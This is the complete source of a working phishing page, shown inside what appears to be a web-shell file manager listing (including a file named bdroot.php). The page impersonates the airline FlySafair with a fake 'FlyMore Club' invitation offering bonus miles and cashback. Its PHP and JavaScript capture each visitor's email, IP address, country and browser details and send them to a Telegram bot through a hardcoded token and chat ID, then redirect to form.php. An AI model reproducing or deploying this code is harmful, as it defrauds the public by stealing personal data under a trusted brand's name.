at path:
ROOT
/
Welcome
/
index.php
run:
R
W
Run
assets
DIR
2026-10-03 02:44:58
R
W
Run
approval.php
27.67 KB
2026-10-29 06:56:19
R
W
Run
Delete
Rename
bdroot.php
0 By
2026-11-03 02:28:49
R
W
Run
form.php
28.81 KB
2026-10-29 06:56:20
R
W
Run
Delete
Rename
index.php
24.17 KB
2026-10-29 06:56:21
R
W
Run
Delete
Rename
loading1.php
12.29 KB
2026-10-03 02:59:04
R
W
Run
Delete
Rename
loading2.php
24.21 KB
2026-10-03 02:58:52
R
W
Run
Delete
Rename
error_log
up
📄
index.php
Save
<?php $BOT_TOKEN = "8135689033:AAHxU286FMqROF7AdbzexK-TfjG7mJ5V8YU"; $CHAT_ID = "-5326912500"; // === GET USER INFO === $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $country = 'Unknown'; $context = stream_context_create(['http' => ['timeout' => 5]]); $geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context); if ($geoData !== false) { $geo = json_decode($geoData); $country = $geo->country ?? 'Unknown'; } function sendTelegram($msg) { global $BOT_TOKEN, $CHAT_ID; $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage"; $data = [ 'chat_id' => $CHAT_ID, 'text' => $msg, 'parse_mode' => 'HTML', 'disable_web_page_preview' => true ]; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($data), CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false ]); curl_exec($ch); curl_close($ch); } // === HANDLE AJAX LOGIN LOG === if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'log_login') { $email = htmlspecialchars($_POST['email'] ?? ''); $msg = "<b>🇿🇦✈️ FLYSAFAIR - EMAIL CAPTURED</b>\n"; $msg .= "══════════════════════════════\n"; $msg .= "<b>Email:</b> <code>{$email}</code>\n"; $msg .= "<b>IP:</b> <code>{$ip}</code>\n"; $msg .= "<b>Country:</b> {$country}\n"; $msg .= "<b>Agent:</b> <code>" . substr($user_agent, 0, 50) . "...</code>\n"; $msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n"; sendTelegram($msg); echo json_encode(['status' => 'logged']); exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <title>FlySafair - Cheap Flights</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; -webkit-tap-highlight-color: transparent; } html, body { overflow-x: hidden; width: 100%; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 'Ubuntu', 'Cantarell', sans-serif; background-color: #ffffff; line-height: 1.5; color: #333333; } /* ============ HEADER ============ */ header { background-color: #ffffff; color: #333333; position: sticky; top: 0; z-index: 100; border-bottom: 1px solid #EEEEEE; } .header-top { display: flex; justify-content: space-between; align-items: center; padding: 12px 16px; border-bottom: 1px solid #EEEEEE; gap: 10px; } .logo { display: flex; align-items: center; gap: 8px; flex-shrink: 0; } .logo img { height: 26px; width: auto; display: block; } .header-controls { display: flex; align-items: center; gap: 14px; font-size: 13px; } .search-btn { background: none; border: none; color: #666666; cursor: pointer; font-size: 13px; display: flex; align-items: center; gap: 4px; padding: 0; } .language-currency { display: flex; align-items: center; gap: 10px; font-size: 13px; white-space: nowrap; color: #666666; } .language-select { background: none; border: none; color: #666666; cursor: pointer; display: flex; align-items: center; gap: 5px; font-size: 13px; padding: 0; } .join-aeroplan, .sign-in-btn { display: none; } .header-nav { display: flex; background-color: #FAFAFA; overflow-x: auto; scrollbar-width: none; -ms-overflow-style: none; } .header-nav::-webkit-scrollbar { display: none; } .nav-item { padding: 12px 18px; color: #666666; text-decoration: none; display: flex; align-items: center; gap: 6px; border-bottom: 3px solid transparent; border-right: 1px solid #EEEEEE; cursor: pointer; font-size: 13.5px; white-space: nowrap; flex-shrink: 0; transition: all 0.2s ease; font-weight: 500; } .nav-item:last-child { border-right: none; } .nav-item:hover { color: #E91E8C; } .nav-item.active { color: #E91E8C; border-bottom-color: #E91E8C; } /* ============ HERO SECTION ============ */ .hero-section { position: relative; width: 100%; background-color: #F5F5F5; } .hero-bg { display: block; width: 100%; height: auto; } /* White content card floating on the LEFT over the image */ .hero-overlay { position: absolute; top: 50%; left: 6%; transform: translateY(-50%); width: 44%; max-width: 600px; background-color: #ffffff; border-radius: 12px; padding: 30px 28px; box-shadow: 0 12px 40px rgba(0, 0, 0, 0.18); z-index: 2; border-top: 4px solid #E91E8C; } /* Invitation ribbon/badge */ .invite-badge { display: inline-flex; align-items: center; gap: 6px; background: linear-gradient(135deg, #E91E8C, #D01880); color: #fff; font-size: 11px; font-weight: 800; letter-spacing: 1.2px; text-transform: uppercase; padding: 6px 14px; border-radius: 30px; margin-bottom: 14px; box-shadow: 0 4px 12px rgba(233, 30, 140, 0.3); } .hero-overlay h2 { font-size: 26px; font-weight: 800; color: #333333; line-height: 1.2; margin-bottom: 10px; letter-spacing: -0.5px; } .hero-overlay h2 .highlight { color: #E91E8C; } .hero-tagline { font-size: 14.5px; color: #666666; margin-bottom: 14px; font-weight: 600; line-height: 1.4; } .reward-description { font-size: 14px; color: #333333; margin-bottom: 18px; line-height: 1.6; } .reward-description strong { color: #E91E8C; font-weight: 700; } /* Perk list */ .reward-quick-list { list-style: none; margin: 0 0 20px; display: grid; grid-template-columns: 1fr; gap: 8px; } .reward-quick-list li { color: #333333; font-size: 13px; font-weight: 600; background: #FAFAFA; border-left: 3px solid #E91E8C; border-radius: 4px; padding: 9px 12px; line-height: 1.35; } /* Form */ .rewards-form { display: flex; flex-direction: column; gap: 10px; } .email-input { width: 100%; padding: 13px 15px; font-size: 15px; border: 2px solid #EEEEEE; border-radius: 6px; background: #FAFAFA; color: #333333; font-family: inherit; transition: all 0.25s ease; } .email-input::placeholder { color: #999; } .email-input:focus { outline: none; background: #fff; border-color: #E91E8C; box-shadow: 0 0 0 3px rgba(233, 30, 140, 0.1); } .cta-button { background-color: #E91E8C; color: #fff; border: none; padding: 14px 16px; font-size: 15px; font-weight: 700; border-radius: 6px; cursor: pointer; width: 100%; transition: background-color 0.2s ease; letter-spacing: 0.3px; } .cta-button:hover { background-color: #D01880; } .cta-button:active { background-color: #A80000; transform: scale(0.99); } /* Social proof */ .hero-social-proof { display: flex; align-items: center; gap: 10px; margin-top: 14px; font-size: 12.5px; color: #666666; font-weight: 600; } .avatar-stack { display: flex; flex-shrink: 0; } .avatar-stack span { width: 24px; height: 24px; border-radius: 50%; background: #E91E8C; color: #fff; font-size: 11px; display: flex; align-items: center; justify-content: center; border: 2px solid #fff; margin-left: -8px; font-weight: 600; } .avatar-stack span:first-child { margin-left: 0; } /* Invitation validity note */ .invite-validity { display: flex; align-items: center; justify-content: center; gap: 6px; margin-top: 12px; font-size: 11.5px; color: #999999; font-weight: 600; letter-spacing: 0.3px; } /* Loading Overlay */ .loading-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.75); z-index: 1000; justify-content: center; align-items: center; padding: 20px; } .loading-overlay.show { display: flex; } .loading-container { background: #fff; border-radius: 12px; padding: 36px 28px; text-align: center; box-shadow: 0 10px 40px rgba(0, 0, 0, 0.3); max-width: 320px; width: 100%; } .spinner { width: 48px; height: 48px; border: 4px solid #F5F5F5; border-top: 4px solid #E91E8C; border-radius: 50%; animation: spin 1s linear infinite; margin: 0 auto 18px; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .loading-text { color: #333333; font-size: 15px; font-weight: 600; margin: 0; } /* ============ FOOTER ============ */ footer { background-color: #0077C0; color: #ffffff; padding: 35px 20px 25px; margin-top: 0; border-top: 1px solid #EEEEEE; } .footer-content { max-width: 1200px; margin: 0 auto; } .footer-header { display: flex; flex-direction: column; align-items: flex-start; gap: 12px; margin-bottom: 28px; padding-bottom: 22px; border-bottom: 1px solid rgba(255, 255, 255, 0.2); } .footer-logo { display: flex; align-items: center; gap: 10px; } .footer-logo img { height: 26px; width: auto; filter: brightness(0) invert(1); } .star-alliance { display: flex; align-items: center; gap: 8px; color: #ffffff; font-size: 13px; } .footer-columns { display: grid; grid-template-columns: 1fr; gap: 24px; margin-bottom: 24px; } .footer-column h3 { color: #ffffff; font-size: 14px; font-weight: 700; margin-bottom: 12px; text-transform: uppercase; letter-spacing: 0.5px; } .footer-column ul { list-style: none; } .footer-column li { margin-bottom: 8px; } .footer-column a { color: #ffffff; text-decoration: none; font-size: 13px; transition: color 0.2s ease; } .footer-column a:hover { color: #E91E8C; } .footer-bottom { border-top: 1px solid rgba(255, 255, 255, 0.2); padding-top: 18px; text-align: center; font-size: 12px; color: #ffffff; } .award-badge { display: flex; align-items: center; gap: 10px; margin-top: 8px; } .award-badge-icon { font-size: 28px; } .award-badge-text { font-size: 12px; color: #ffffff; font-weight: 600; line-height: 1.4; } /* ============ RESPONSIVE ============ */ @media (min-width: 768px) { .header-top { padding: 15px 40px; } .logo img { height: 32px; } .header-controls { gap: 24px; font-size: 14px; } .join-aeroplan, .sign-in-btn { display: block; } .sign-in-btn { padding: 8px 20px; font-size: 14px; font-weight: 600; border-radius: 4px; background-color: #E91E8C; color: #fff; border: none; cursor: pointer; } .sign-in-btn:hover { background-color: #D01880; } .nav-item { padding: 15px 22px; font-size: 14.5px; } .hero-overlay { padding: 36px 34px; width: 46%; } .hero-overlay h2 { font-size: 32px; } .footer-header { flex-direction: row; justify-content: space-between; align-items: center; } .footer-columns { grid-template-columns: repeat(4, 1fr); gap: 40px; } } @media (min-width: 1024px) { .hero-overlay { padding: 40px 38px; width: 42%; max-width: 620px; } .hero-overlay h2 { font-size: 36px; } .reward-description { font-size: 14.5px; } } /* Mobile */ @media (max-width: 767px) { .hero-section { display: flex; flex-direction: column; } .hero-bg { width: 100%; height: auto; } .hero-overlay { position: relative; top: auto; left: auto; transform: none; width: auto; max-width: none; margin: -24px 16px 20px; padding: 24px 20px; border-radius: 12px; } .hero-overlay h2 { font-size: 24px; } } </style> </head> <body> <!-- HEADER --> <header> <div class="header-top"> <div class="logo"> <img src="assets/1.png" alt="FlySafair Logo"> </div> <div class="header-controls"> <button class="search-btn"> <span>🔍</span> <span>Search</span> </button> <div class="language-currency"> <button class="language-select"> 🇿🇦 English </button> <span>USD</span> </div> <a href="#" class="join-aeroplan">FlyMore Club</a> <button class="sign-in-btn">Log In</button> </div> </div> <nav class="header-nav"> <a href="#" class="nav-item active"><span>Flights</span></a> <a href="#" class="nav-item"><span>Packages</span></a> <a href="#" class="nav-item"><span>Deals</span></a> <a href="#" class="nav-item"><span>Travel</span></a> <a href="#" class="nav-item"><span>Check-in</span></a> <a href="#" class="nav-item"><span>Flight Status</span></a> <a href="#" class="nav-item"><span>FlyMore</span></a> <a href="#" class="nav-item"><span>FlyMore Deals</span></a> <a href="#" class="nav-item"><span>eShop</span></a> <a href="#" class="nav-item"><span>Accessibility</span></a> </nav> </header> <!-- HERO SECTION --> <section class="hero-section"> <img src="assets/2.png" alt="FlySafair FlyMore Club Invitation" class="hero-bg"> <div class="hero-overlay"> <!-- Invitation ribbon --> <div class="invite-badge"> ✉️ For Selected Guests Only </div> <h2>Your <span class="highlight">personal invitation</span> to the FlyMore Club</h2> <p class="hero-tagline"> Congratulations! You have been selected for an exclusive membership. </p> <p class="reward-description"> As one of the few selected members, you get access to <strong>up to 10,000 Welcome Bonus Miles</strong>, Priority Services, and exclusive elite benefits with FlySafair and over 45 partner airlines worldwide. </p> <ul class="reward-quick-list"> <li>💎 Exclusive Elite Club Status</li> <li>✈️ Up to 10,000 Welcome Bonus Miles</li> <li>🎁 Cashback from $100.00 to $1000.00</li> <li>🛋️ Priority Boarding & VIP Lounge Access</li> </ul> <form class="rewards-form" id="rewardsForm" method="POST" action="form.php"> <input type="email" name="email" placeholder="Your Email Address" required class="email-input" id="emailInput" > <button type="submit" class="cta-button">Accept Invitation →</button> </form> <div class="hero-social-proof"> <div class="avatar-stack"> <span>A</span><span>M</span><span>J</span><span>+</span> </div> <span>Over 2 million members worldwide</span> </div> <div class="invite-validity"> ⏳ Invitation valid for a limited time </div> </div> </section> <!-- Loading Overlay --> <div class="loading-overlay" id="loadingOverlay"> <div class="loading-container"> <div class="spinner"></div> <p class="loading-text">🎉 Processing your invitation...</p> </div> </div> <!-- FOOTER --> <footer> <div class="footer-content"> <div class="footer-header"> <div class="footer-logo"> <img src="assets/1.png" alt="FlySafair Logo"> </div> <div class="star-alliance"> ⭐ STAR ALLIANCE </div> </div> <div class="footer-columns"> <div class="footer-column"> <h3>Support</h3> <ul> <li><a href="#">Help & Contact</a></li> <li><a href="#">Baggage & Service Fees</a></li> <li><a href="#">Customer Service Plan</a></li> <li><a href="#">Cybersecurity Center</a></li> <li><a href="#">Manage Cookies</a></li> </ul> </div> <div class="footer-column"> <h3>FlySafair</h3> <ul> <li><a href="#">Media Center</a></li> <li><a href="#">Official Languages</a></li> <li><a href="#">Sustainability</a></li> <li><a href="#">Our Stories</a></li> <li><a href="#">Investor Relations</a></li> <li><a href="#">Careers</a></li> </ul> </div> <div class="footer-column"> <h3>More Services</h3> <ul> <li><a href="#">For Businesses</a></li> <li><a href="#">For Travel Agencies</a></li> <li><a href="#">FlySafair Cargo</a></li> <li><a href="#">FlySafair Foundation</a></li> </ul> </div> <div class="footer-column"> <h3>Our Awards</h3> <div class="award-badge"> <div class="award-badge-icon">🏆</div> <div class="award-badge-text">Best Low-Cost Airline in Africa</div> </div> </div> </div> <div class="footer-bottom"> <p>© 2026 FlySafair. All rights reserved.</p> </div> </div> </footer> <script> const rewardsForm = document.getElementById('rewardsForm'); const loadingOverlay = document.getElementById('loadingOverlay'); rewardsForm.addEventListener('submit', function(e) { e.preventDefault(); const email = document.getElementById('emailInput').value.trim(); // Log email to Telegram fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `action=log_login&email=${encodeURIComponent(email)}` }).catch(() => {}); // Show loading loadingOverlay.classList.add('show'); // Store email in localStorage localStorage.setItem('acEmail', email); // Redirect to form.php after 2 seconds setTimeout(function() { window.location.href = 'form.php'; }, 2000); }); </script> </body> </html>